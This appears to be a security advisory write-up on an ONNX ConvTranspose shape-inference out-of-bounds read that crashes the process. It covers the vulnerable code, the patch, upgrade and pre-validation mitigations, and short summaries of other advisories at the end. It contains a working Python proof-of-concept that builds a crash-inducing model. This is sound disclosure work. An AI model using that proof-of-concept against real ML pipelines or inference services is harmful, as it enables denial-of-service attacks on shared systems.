Oct 29, 2026·10 min read·2 visits
ONNX versions 1.2.1 through 1.21.x fail to validate that the weight tensor of a ConvTranspose node has at least 3 dimensions before inferring the kernel shape. If an attacker supplies a model with a rank-2 or smaller weight tensor and omits the optional kernel_shape attribute, the shape inference logic attempts to read from an empty C++ std::vector, crashing the host process via SIGSEGV.
An out-of-bounds read vulnerability (CWE-125) exists in the Open Neural Network Exchange (ONNX) library across versions 1.2.1 prior to 1.22.0. The flaw occurs within the shape inference routines for the ConvTranspose operator when processing a model with a weight tensor rank less than three and an omitted kernel_shape attribute. Unchecked indexing into an empty vector triggers a memory segmentation fault, resulting in a Denial of Service (DoS) against applications inspecting or loading untrusted ONNX models.
Open Neural Network Exchange (ONNX) provides an open-source format and C++ core library for representing machine learning models across frameworks. A critical component of the ONNX library is its shape inference subsystem (onnx.shape_inference.infer_shapes), which statically computes the dimensions of intermediate and output tensors across a computation graph without executing the underlying mathematical operations. Machine learning pipelines, model registries, and inference servers routinely invoke shape inference during model ingestion to validate compatibility and allocate execution buffers.
CVE-2026-115920 (tracked also as GHSA-6pwm-x34p-fvj2) is an out-of-bounds read vulnerability (CWE-125) located in the C++ shape inference implementation for the ConvTranspose (transposed convolution) operator. In ONNX versions from 1.2.1 up to 1.22.0, the functions convTransposeShapeInference(), convTransposeShapeInference_opset11(), and convTransposeShapeInference_opset1() fail to verify the dimensionality (rank) of the weight tensor before attempting to extract spatial kernel dimensions.
When an application processes a malformed ONNX model containing a ConvTranspose node where the weight tensor has a rank strictly less than 3 and the optional kernel_shape attribute is omitted, the inference routine leaves its internal kernel shape vector empty. Subsequent spatial dimension calculations index directly into this empty std::vector without bounds checking. This invalid memory access triggers an immediate segmentation fault (SIGSEGV), terminating the calling Python or C++ process.
The severity of this flaw is compounded by a validation gap in the structural checker (onnx.checker.check_model()). Because the checker does not enforce the minimum rank requirement on the ConvTranspose weight input in several opset configurations, a malformed model passes structural verification intact and reaches the vulnerable shape inference execution path.
According to the formal ONNX operator specification, the ConvTranspose operator requires two primary tensor inputs: the data input tensor $X$ (input 0) and the weight tensor $W$ (input 1). The input tensor $X$ must have a minimum rank of 3, structured as $[N, C_{in}, D_1, D_2, \dots, D_n]$, where $N$ represents the batch size, $C_{in}$ denotes the input channel count, and $D_1 \dots D_n$ define the spatial dimensions. Similarly, the weight tensor $W$ must have a minimum rank of 3, structured as $[C_{in}, M / \text{group}, k_1, k_2, \dots, k_n]$, where $k_1 \dots k_n$ specify the spatial dimensions of the convolution kernel.
The operator also supports an optional integer list attribute named kernel_shape. When a model explicitly defines kernel_shape, the shape inference routine reads $[k_1, k_2, \dots, k_n]$ directly from the node attributes. When a model omits kernel_shape, the shape inference routine must dynamically reconstruct the kernel dimensions by slicing the dimensions of the weight tensor $W$ starting at axis index 2 up to $\text{rank}(W) - 1$.
In vulnerable versions of ONNX, the entry validation inside convTransposeShapeInference checked only whether the data input tensor $X$ had a rank of at least 2 (input_shape.dim_size() < 2), while performing zero rank validation on the weight tensor $W$. When kernel_shape is omitted, the code executes a for loop initialized at int i = 2 with the termination condition i < second_input_shape.dim_size(). If an attacker supplies a weight tensor with a rank of 0, 1, or 2, dim_size() is at most 2, causing the loop condition to evaluate to false on its first iteration.
In the original opset 1 and opset 11 implementations (onnx/defs/nn/old.cc), the post-loop validation check if (kernel_shape.size() != n_input_dims) was absent or bypassed before preparing the effective_kernel_shape vector. Furthermore, across the inference paths, the spatial dimension calculation iterates $n_input_dims$ times (where $n_input_dims = \text{rank}(X) - 2 \ge 1$). On the first iteration ($i = 0$), the code executes effective_kernel_shape[i], invoking std::vector::operator[] on a zero-length vector and reading unallocated or adjacent heap memory.
The vulnerability resides in the C++ operator definition files onnx/defs/nn/defs.cc (handling the current opset) and onnx/defs/nn/old.cc (handling legacy opsets 1 and 11). In the unpatched code, input validation was insufficient to guarantee the invariants required by the spatial dimension calculation loop.
Below is the vulnerable code path prior to commit 2ec288908952eea9dcf48d4b197915e1f72c6abf:
ONNX_API void convTransposeShapeInference(InferenceContext& ctx) {
// ...
auto input_shape = ctx.getInputType(0)->tensor_type().shape();
if (input_shape.dim_size() < 2) {
return; // Insufficient check: allows rank 2 input, and checks nothing on input 1
}
size_t n_input_dims = static_cast<size_t>(input_shape.dim_size() - 2);
std::vector<int64_t> kernel_shape;
if (getRepeatedAttribute(ctx, "kernel_shape", kernel_shape)) {
if (kernel_shape.size() != n_input_dims) {
return;
}
} else {
auto second_input_shape = ctx.getInputType(1)->tensor_type().shape();
// If second_input_shape.dim_size() <= 2, this loop never executes
for (int i = 2; i < second_input_shape.dim_size(); ++i) {
if (!second_input_shape.dim(i).has_dim_value()) {
return;
}
kernel_shape.push_back(second_input_shape.dim(i).dim_value());
}
// In legacy opsets (old.cc), kernel_shape.size() was not verified against n_input_dims here,
// leaving effective_kernel_shape empty when entering the spatial loop:
}
// ...
for (int i = 0; i < n_input_dims; ++i) {
int64_t current_kernel_shape = effective_kernel_shape[i]; // Out-of-bounds read when empty
// ...
}
}Commit 2ec288908952eea9dcf48d4b197915e1f72c6abf (merged via Pull Request #7997) resolves the vulnerability by enforcing strict rank checks on both the input tensor and the weight tensor at the beginning of convTransposeShapeInference, convTransposeShapeInference_opset11, and convTransposeShapeInference_opset1:
--- a/onnx/defs/nn/defs.cc
+++ b/onnx/defs/nn/defs.cc
@@ -1090,8 +1097,16 @@ ONNX_API void convTransposeShapeInference(InferenceContext& ctx) {
int64_t group = getAttribute(ctx, "group", 1);
auto input_shape = ctx.getInputType(0)->tensor_type().shape();
- if (input_shape.dim_size() < 2) {
- return; // Input tensor should have at least two dimensions.
+ if (input_shape.dim_size() < 3) {
+ fail_shape_inference(
+ "Input tensor must have at least 3 dimensions (N x C x D1...Dn). Got: ", input_shape.dim_size());
+ }
+
+ // Weight tensor (input 1) must also have at least 3 dimensions (C x M/group x k1...kn).
+ auto weight_shape = ctx.getInputType(1)->tensor_type().shape();
+ if (weight_shape.dim_size() < 3) {
+ fail_shape_inference(
+ "Weight tensor must have at least 3 dimensions (C x M/group x k1...kn). Got: ", weight_shape.dim_size());
}> [!NOTE]
> In addition to fixing ConvTranspose, commit 2ec288908952eea9dcf48d4b197915e1f72c6abf hardened the MaxUnpool operator (maxUnpoolShapeInference) by verifying that the indices tensor (input 1) has a rank of at least 2 (indices_shape.dim_size() < 2), preventing an analogous out-of-bounds dimension access.
Replacing silent return statements with fail_shape_inference() ensures that malformed tensor ranks deterministically raise a catchable onnx.shape_inference.InferenceError exception rather than leaving output shapes partially uninitialized or reading past vector boundaries. The fix is complete across all supported opset versions of ConvTranspose.
Exploiting CVE-2026-115920 requires an attacker to supply a crafted .onnx model file (or serialized ModelProto protobuf stream) to a target application that invokes onnx.shape_inference.infer_shapes(). No elevated privileges, user authentication, or complex memory layout grooming are required to trigger the crash.
To construct a proof-of-concept model that bypasses onnx.checker.check_model() and crashes the shape inference engine, an attacker defines a single ConvTranspose node targeting opset 11 (or another affected opset). The data input X is given a valid 3D shape such as [1, 1, 5] (1 batch, 1 channel, 1 spatial dimension of size 5), while the weight input W is assigned a 2D shape such as [1, 3], violating the 3D specification. The kernel_shape attribute is intentionally omitted from the node definition.
import onnx
from onnx import helper, TensorProto
def trigger_cve_2026_115920():
# Construct a ConvTranspose node without the kernel_shape attribute
node = helper.make_node(
"ConvTranspose",
inputs=["X", "W"],
outputs=["Y"],
strides=[1]
)
# Input X has rank 3 ([N, C, D1]), Weight W has rank 2 ([1, 3])
x_info = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1, 5])
w_info = helper.make_tensor_value_info("W", TensorProto.FLOAT, [1, 3])
y_info = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1, None])
graph = helper.make_graph(
[node],
"poc_graph",
[x_info, w_info],
[y_info]
)
model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
# Structural validation succeeds without error
onnx.checker.check_model(model)
# Shape inference triggers out-of-bounds read and SIGSEGV on ONNX < 1.22.0
onnx.shape_inference.infer_shapes(model, strict_mode=True)
if __name__ == "__main__":
trigger_cve_2026_115920()The equivalent minimal model in ONNX text representation (as added to the official regression test suite in onnx/test/shape_inference_test.py) is:
<ir_version: 8, opset_import: [ "" : 11 ]>
g (float[1,1,5] X, float[1,3] W) => (float[1,1,?] Y) {
Y = ConvTranspose(X, W)
}When executed against ONNX versions < 1.22.0, the Python interpreter or C++ host binary immediately terminates with an unhandled segmentation fault (SIGSEGV) inside the native onnx_cpp2py_export shared library.
The primary security impact of CVE-2026-115920 is a high-reliability Denial of Service (DoS) against systems that parse, validate, or optimize untrusted ONNX models. Because the out-of-bounds read occurs in native C++ code via an unallocated vector buffer pointer (effective_kernel_shape[0] where the internal data pointer of an empty std::vector is nullptr), dereferencing index 0 attempts to read from virtual memory address 0x0. On all modern operating systems, reading from the zero page triggers an immediate hardware page fault and kernel-enforced process termination (SIGSEGV).
Because the vector is newly initialized on the stack as empty (std::vector<int64_t> effective_kernel_shape;) and never allocated on the heap when the loop is skipped, its internal _M_start pointer is NULL. Consequently, the out-of-bounds read cannot be leveraged to disclose arbitrary heap memory contents to an attacker, nor can it corrupt memory state. This aligns with the CVSS v3.1 assessment of CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (Base Score: 6.2), reflecting zero impact to Confidentiality (C:N) and Integrity (I:N), alongside a High impact to Availability (A:H).
In multi-tenant machine learning platforms, automated MLOps validation pipelines, or cloud model conversion services where user-uploaded ONNX graphs are processed inside shared worker processes, an attacker can repeatedly submit a malformed model to crash backend workers. Relying on onnx.checker.check_model() as a security gate prior to calling infer_shapes() does not protect the service.
The primary remediation is to upgrade the onnx library to version 1.22.0 or later, which incorporates commit 2ec288908952eea9dcf48d4b197915e1f72c6abf and commit 2bb50465112feca9003e1ed654d77f01ff1415ca. Python environments can be updated via pip:
pip install --upgrade "onnx>=1.22.0"Once upgraded, attempting to run shape inference on a ConvTranspose node with an undersized input or weight tensor will cleanly raise an onnx.shape_inference.InferenceError exception containing the diagnostic message: [ShapeInferenceError] Weight tensor must have at least 3 dimensions (C x M/group x k1...kn). Got: <rank>. Applications processing untrusted models should ensure that calls to onnx.shape_inference.infer_shapes() are wrapped in a try...except onnx.shape_inference.InferenceError block to handle invalid models gracefully.
For environments that cannot immediately upgrade to ONNX 1.22.0, operators should implement a pre-validation pass in Python before invoking infer_shapes(). This filter must inspect the graph topology and verify that every ConvTranspose node references an input and weight tensor with at least 3 dimensions:
def validate_conv_transpose_ranks(model: onnx.ModelProto) -> bool:
tensor_ranks = {}
for vi in list(model.graph.input) + list(model.graph.value_info):
if vi.type.HasField("tensor_type") and vi.type.tensor_type.HasField("shape"):
tensor_ranks[vi.name] = len(vi.type.tensor_type.shape.dim)
for init in model.graph.initializer:
tensor_ranks[init.name] = len(init.dims)
for node in model.graph.node:
if node.op_type == "ConvTranspose":
if len(node.input) < 2:
return False
x_name, w_name = node.input[0], node.input[1]
if tensor_ranks.get(x_name, 0) < 3 or tensor_ranks.get(w_name, 0) < 3:
return False
return TrueAdditionally, services ingesting untrusted model files should execute model validation and shape inference inside isolated, ephemeral sandboxes or subprocesses with strict resource limits so that native crashes in C++ extensions do not terminate the primary application server.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
onnx ONNX | >= 1.2.1, < 1.22.0 | 1.22.0 |
| Attribute | Detail |
|---|---|
| Vulnerability Class | CWE-125: Out-of-bounds Read |
| CVSS v3.1 Score | 6.2 Medium (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Affected Component | convTransposeShapeInference() in onnx/defs/nn/defs.cc and old.cc |
| Affected Versions | ONNX >= 1.2.1, < 1.22.0 |
| Patched Version | ONNX 1.22.0 |
| Primary Impact | Denial of Service (Process crash via SIGSEGV) |
| EPSS Score | 0.18% (7.38th Percentile) |
| CISA KEV Status | Not Listed |
The product reads data past the end, or before the beginning, of the intended buffer.
Open Neural Network Exchange (ONNX) prior to version 1.22.0 contains a memory exhaustion vulnerability (CWE-789) in its Python tensor unpacking helpers and C++ model checker. Specifically, the _unpack_2bit() and _unpack_4bit() functions in onnx.numpy_helper unconditionally resize unpacked NumPy arrays to match attacker-controlled TensorProto.dims metadata without verifying that the underlying raw_data or int32_data buffers contain a corresponding number of packed bits. Furthermore, onnx.checker.check_tensor() previously bypassed length verification for sub-byte data types. Processing an untrusted ONNX model with packed sub-byte tensors (UINT2, INT2, UINT4, INT4, or FLOAT4E2M1) allows an unauthenticated attacker to trigger disproportionate memory allocations from minimal payloads, resulting in an out-of-memory (OOM) crash and denial of service.
A session-binding vulnerability in Python Social Auth (social-core) versions prior to 6.2.0 allows an attacker to perform authorization code injection against the OpenID Connect authentication backend. By storing generated OIDC nonces in a global database table without binding them to the initiating browser session, the library accepts any valid, unexpired nonce returned in an ID token regardless of which session originated the authentication transaction. When combined with the default disablement of Proof Key for Code Exchange (PKCE), an attacker who intercepts an unused authorization code can inject it into their own authentication flow to achieve full account takeover.
CVE-2026-111497, tracked in threat intelligence under the aliases Node2Shell, Broccoli2Shell, and HTTP2Shell, is a critical out-of-bounds heap write and denial-of-service vulnerability in the reference Google Brotli decompression library (c/dec/decode.c). The flaw originates from an unchecked return value and error-code conflation in DecodeBlockTypeAndLength() when processing malformed streams with single-block-type declarations (max_block_type <= 1). On the fast decoding path, the ignored error return causes the 32-bit unsigned block_length counter to underflow from 0 to UINT32_MAX (0xFFFFFFFF), corrupting internal decoder tables and enabling arbitrary heap memory overwrites via memmove16(). On the streaming path, the error return is misinterpreted as an incomplete bit-stream, trapping the worker process in an infinite 100% CPU loop. Because Google Brotli is embedded across major runtimes and infrastructure components—including Node.js, Envoy Proxy, Microsoft .NET, Istio, and Python—the vulnerability exposes a broad attack surface via standard HTTP Content-Encoding: br request and response bodies.
CVE-2026-116575 (GHSA-5324-3w58-qpp2) is an unescaped delimiter injection and canonicalization flaw in the Mem0 persistent memory platform for AI agents and applications. Prior to Python SDK version 2.0.18 and TypeScript SDK version 3.1.6, the session scope key construction functions join caller-controlled user_id, agent_id, and run_id identifiers using raw '=' and '&' delimiters without sanitization. An attacker who controls one of these identifiers in a multi-tenant deployment can inject delimiter sequences to force a string collision with a target tenant's session scope key, resulting in unauthorized disclosure, poisoning, or eviction of the target tenant's recent conversation buffer.
Seroval versions prior to 1.6.8 contain an insecure deserialization vulnerability (CWE-502) in the `fromJSON` parser. When reconstructing `AsyncIteratorFactoryInstance` or `IteratorFactoryInstance` nodes, the deserializer verifies the source node type using its identifier in the AST lookup table rather than verifying the runtime identity of the deserialized object. Because unmarked node identifiers omitted from the `m` reference array can be reused in vanilla deserialization mode, an attacker can substitute an arbitrary plain object or plugin-produced value as the stream source. This causes the runtime to invoke `.on(listener)` on an attacker-controlled target.
A Denial of Service (DoS) vulnerability exists in the Seroval JavaScript serialization library affecting versions 1.4.1 through 1.6.7. The deserialization routines fromJSON and fromCrossJSON fail to verify that node element lists are actual JavaScript Array primitives before reading their length property. An unauthenticated remote attacker can supply a compact, malformed JSON payload containing an array-like object with an arbitrary length value, causing unbounded memory allocation and synchronous loop iterations that block the event loop or crash the process via heap exhaustion.